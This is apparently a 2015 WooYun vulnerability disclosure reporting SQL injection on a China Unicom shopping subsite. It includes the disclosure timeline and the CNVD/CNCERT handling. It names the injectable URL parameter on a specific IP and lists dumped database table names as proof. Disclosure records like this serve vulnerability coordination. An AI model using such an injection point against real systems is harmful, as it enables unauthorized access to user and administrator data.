漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0127569
漏洞标题：中国联通某分站存在SQL注入
相关厂商：中国联通
漏洞作者： 路人甲
提交时间：2015-07-20 19:50
修复时间：2015-09-07 15:10
公开时间：2015-09-07 15:10
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：5
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-07-20： 细节已通知厂商并且等待厂商处理中
2015-07-24： 厂商已经确认，细节仅向厂商公开
2015-08-03： 细节向核心白帽子及相关领域专家公开
2015-08-13： 细节向普通白帽子公开
2015-08-23： 细节向实习白帽子公开
2015-09-07： 细节向公众公开
简要描述：
注入点：
详细说明：
http://119.6.119.51/index.php?act=exchange&op=exchange&vg_id=89
漏洞证明：
Database: womall
[160 tables]
+---------------------------------------+
| wm_activity |
| wm_activity_detail |
| wm_address |
| wm_admin |
| wm_adv |
| wm_adv_click |
| wm_adv_position |
| wm_album_class |
| wm_album_pic |
| wm_area |
| wm_article |
| wm_article_class |
| wm_attribute |
| wm_attribute_value |
| wm_brand |
| wm_cart |
| wm_city |
| wm_complain |
| wm_complain_goods |
| wm_complain_subject |
| wm_complain_talk |
| wm_consult |
| wm_coupon |
| wm_coupon_class |
| wm_daddress |
| wm_document |
| wm_evaluate_goods |
| wm_evaluate_goodsstat |
| wm_evaluate_store |
| wm_evaluate_storestat |
| wm_express |
| wm_favorites |
| wm_flowstat_1 |
| wm_flowstat_2 |
| wm_flowstat_3 |
| wm_flowstat_4 |
| wm_flowstat_5 |
| wm_gold_buy |
| wm_gold_log |
| wm_gold_payment |
修复方案：
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2015-07-24 15:09
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT下发给四川分中心，由其后续协调网站管理单位处置。
最新状态：
暂无